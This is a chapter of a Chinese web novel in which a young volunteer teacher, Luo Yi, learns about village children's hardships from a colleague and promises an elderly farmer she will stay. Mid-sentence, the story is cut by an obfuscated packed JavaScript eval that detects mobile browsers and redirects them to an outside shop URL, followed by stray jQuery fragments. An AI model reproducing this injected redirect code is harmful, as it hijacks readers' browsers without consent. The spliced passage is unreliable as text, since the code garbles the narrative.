在铃声的召唤中,学生们倾巢而出。
村里人口不算多,学生也不多。
四五十名的样子,按照低年级高年级堪堪分成了两个班。
再多就凑不齐老师了。
每周一上午的九点是升旗仪式,学生们吵闹却有秩序地在操场快速列好了队。
罗伊就这么看着,阳光下谈笑风生的少年们放肆奔向旷野。
跟在学生们后面出来的万唯一眼看到了她,走上来轻轻拍她的肩膀:“趁现在,我带你去外面走走啊?”
罗伊点了点头。
围墙之外和学校里面完全是两个不同的世界,忙碌、吵闹、辛劳、疲惫,统统被厚重的砖石水泥狠心隔绝。
一边热火朝天,另一边也是热火朝天。
在万唯的引路下,她们绕到了学校的后山,这里更能感受到和前面不一样的风景。
太阳还没转过来因而有些湿冷,但从不偷懒的飞鸟已经开始新一天的劳作。罗伊当下才真正体会到了“蝉噪林愈静,鸟鸣山更幽”的意境。
“你看那儿,是我们班三年级一个学生的家。”
顺着她的手看过去,先入眼的是一条已经快要干涸的河床。四处没有树木遮挡,常年在毒辣太阳的直射下根本储不起来水。
河床旁边有一座精巧的木屋。
“他出生没多久妈妈就出去务工再也没回来,爸爸在外面跟着包工头做工程,一年到头回不了几次家。爷爷去年中风倒下了,奶奶一个人种着几亩田照顾爷爷和他。”
以前都是通过新闻才能了解到的事情此时真正摆在眼前,震撼比那时来得更强烈。
“还有那边,房子半边没有顶的。孩子的爸爸在外面犯错坐牢,妈妈跟人跑了。孩子心疼奶奶,自己在家做饭把屋顶烧了,到现在都没钱修。”
“那儿,那家条件稍微好点,住的是平房。但是爸爸是个酒鬼,妈妈被家暴离婚走了,经常喝醉了打孩子。”
……
万唯一家接一家地回忆着学校孩子们的家庭状况,如数家珍。
“这里长大的孩子都挺不容易的。上面没有什么帮助政策吗?”
罗伊好奇。
万唯转过来重重叹了口气,又背过身去。
“这些年来确实各方面都挺重视这些情况,但是上有政策下有对策,拨下来的帮扶说到底到位的能有多少啊?”
道理都懂,可罗伊还是想不明白:“进行工作汇报的时候都看不出漏洞么?”
“别把人想得太善良了,凡是我们能看见的都是想让我们看见的罢了。”
明明是一年中最热的几个月之一,早上九点多的后山却还是凉爽的。
从后山绕回来,江澍已经带着学生们完成了升旗仪式。
“越看越舍不得他们了。”万唯靠着围墙,离别的情绪越来越重。
“舍不得为什么还要离开啊?”
万唯看着一本正经提问的罗伊,觉得可爱极了。
“哎哟你真的是颠覆了我对208万的看法欸!你这么单纯肯定很好骗。”
她举起自己的右手,无名指上的钻戒闪闪发光:“喏,有夫之妇,身不由己啊。”
好像这个世界上所有没有既定答案的问题都可以用一个“身不由己”就解决了。
小时候生病住院爸爸妈妈却出差半个月一个电话都没有是身不由己。
读书时候的竞赛名额被班长占了是身不由己。
公司新投资的项目选拔演员新人没有名额是身不由己。
……
可明明这些问题都可以好好处理的啊。
“你和老公感情一定很好。”
“当然啦。大学就开始谈恋爱,本来说一毕业就结婚的,这不是我来这儿了吗?今年要回去了,就赶紧办了婚礼,马上放暑假正好度蜜月去。”
回忆着自己和老公的爱情,万唯满脸幸福。
“度完蜜月就回我们小县城的学校工作了。”提到自己的新工作,万唯难掩心中的喜悦。
“那里,离这里很远吗?”
“算不上远,坐个大巴就能到,中间也不要转车。到时候邀请你来我的家乡玩。”
“好啊。”
“可是,你怎么想到来这里的?”万唯歪头,终于问出了自己心里积压已久的疑问。
罗伊有些愣神:“喜欢吧。”
又突然间想起来什么任务似的:“对了万老师,你有没有什么比较喜欢的艺人?”
“当然有!不过你怎么突然问这个?难道说……”上扬的音调出卖了万唯心里的激动,她朝罗伊挑了挑眉毛,等着她继续。
“还没有送你新婚礼物。”
罗伊实在是觉得送什么签名照、门票之类的有些拿不出手,连带着说话的声音都小了下来。
万唯倒是乐开了花,可嘴上还是:“害,不用客气。”
话头一转:“不过最近还真的有一个很喜欢的演员。”
“嗯?谁?”罗伊眨巴着眼睛。
“陆凌州,不知道你认不认识。”
果然,孽缘就是挡也挡不住。
罗伊点头。
“哇,他性格是不是真的很好?本人和电视上有没有区别?唉,可惜昨天官宣的新代言我啥都没抢到。”
“呃,没什么区别。”虽然是自己的前男友,分手也不太愉快,但她没有落井下石。
看着万唯一会儿激动一会儿可惜的,决定回去发消息问问王姐能不能弄一套。
“那个,有个朋友和他比较熟,我帮你问问看?”试探性的话刚说出口,就后悔了。
“真的吗真的吗?”万唯像突然看见香蕉的猴子一样紧紧抱着她的手臂。
罗伊也是追过星的人,但自从走上这条路就好像有些“身在福中不知福”了。
不管同学、朋友还是亲戚想借便利要个合影或者签名照她统统拒绝。搞得现在人缘很差。
可今时不同往日,而且还收下了人家的伴手礼,于情于理都该准备个回礼表示一下。
华周周说得也没错,与其想破脑袋还送个别人不喜欢的礼物,还不如大胆开麦直接问。最起码能送到心坎上。
短暂的课间活动时间结束,一切欢闹都在上课铃声响起时重新归为平静。
万唯下面一节课是高年级的阅读训练,上一秒还在和罗伊“你侬我侬”,下一秒就果断松开手奔向了教室。在本职工作上尽职尽责。
低年级同学们下节课是数学,在江澍的组织下也都早早地安静下来。
此刻的铜锣山小学只剩她一人置身事外,她也终于有了可以仔细看看风景的机会。
不忘防晒,罗伊返回宿舍补涂了厚厚一层才又带着帽子出门。
勤劳,是独属于这方田之间的劳动人民的形容词。
早上十点钟的太阳已经悄悄爬到了头顶,对于村庄里的人来说,这正是收获农作物的最佳时机。
罗伊刚出学校门,就被大片大片金灿灿的麦田抓住了眼睛。
自古以来,我国劳动人民就积极进行粮食种植,铜锣山的人民亦是如此。
铜锣山从地理上来看属于亚热带湿润季风气候区,海拔高、湿度高,非常适合进行粮食的耕种。
沿着田间的阡陌小路走,整个人置身于一片盛大的金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359735|199740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色海洋,微风裹挟着清香荡起层层麦浪,看上去心情都好了很多。
罗伊闭眼感受着大自然的馈赠,没有意识到从田埂上传来的声音。
“姑娘?姑娘?”一声苍老的呼唤唤回了她的意识。
她睁开眼睛循着声音的出处找,终于发现了不远处的老者。
罗伊踮着脚小跑往前,小心地提着裙摆。
田埂上坐着一位头发还未全白的老人,精气神却很好。
坐在光秃秃的田埂上喝水,如果不是说话时明显瘪下去的脸颊,谁也想不到她已经七十多岁了。
为了多哪怕一厘地播种,这里的田埂都修成了恰好只够一人通行的宽度,越往里更是越窄。
罗伊前进的速度慢下来,脸上的笑却明显了。
老人也不急,放下喝过的水杯,撑起膝盖看着。
等终于到了眼前,转身从竹篓里拿出早上出门时披在身上的薄衫铺在地上:“姑娘,坐。”
罗伊哪里好意思,可看着眼神殷切的老人更不好意思一直站着。
只好拿起薄衫慢慢坐下来,然后把衣服铺在腿上,细心叠好放回了竹篓。
“姑娘看你面生,是来旅游的不是?”
“不是不是。”罗伊摆手,“我是来支教的。”
“支教?支教好啊。”老人抬眼看向学校的方向,“这群娃娃,都是好苗子,可惜没条件啊。”
目光又转而回到罗伊身上:“看你年纪不大,结婚了没有啊?”
罗伊当下的反应:难道是长辈们统一的“催婚”流程发展到陌生人了?
下意识就想说“是”,可看着老人脸上的淳朴,欺骗的话还是咽回了肚子。
“没呢,还早。”罗伊用一个自认为人畜无害的笑容回应。
老人却有些不安常理出牌:“没结婚好啊。结了婚就有牵挂了,有了牵挂就该走了,走了这些孩子就没希望了。”
罗伊瞬间木了。
她不知道刚刚自己毫无根据的揣测的恶意来源于哪里,却又万幸没有让这个恶意有发酵的机会。
“怎么会没希望?他们都优秀着呢。”罗伊试图掩饰尴尬。
“你不知道。我们这人少,孩子也少。以前建不起来学校,天天都背着书包装着发霉的地瓜条翻半座山去隔壁村上课,风雨无阻。后来啊,国家开始重视我们这种山村了,才有了学校。上学是方便了,可没有老师教啊。”
老人回忆着铜锣山小学的过去,眼里黯淡。
“零几年吧,村里来了第一个支教的大学生。女孩子,师范毕业的,长得水灵。大家都说铜锣山小学有希望了。但她不到半年就走了,说是适应不了,打了申请提前回去了,其实是家里给通了关系。后面也有再来的,也从来没有教满一年。”
老人话语里的失望和遗憾,无一不在诉说着这糟糕的环境给原本应当接受良好教育的孩子们带来的无妄之灾。
“幸好江校长来了,带着万老师,这几年这学校才真正有了点学校的样子啊。”
老人的目光收回,长叹一口气:“听说万老师学期结束就要走了,这样下去,孩子们可怎么办啊?”
“您放心,我不走。”
不知道是听着老人的话觉得心疼,还是不忍看着大家眼里终于好起来的学校回归平庸,罗伊坚定地保证。
老人明显不相信,却还是笑着看她。
“不会的,大家都会走的。”
“我不走。也会有更多人要来的。”
罗伊握着老人的手,再一次强调。
老人带着笑容重新下地割起了麦子。手里的镰刀飞快,身后留下一地希望。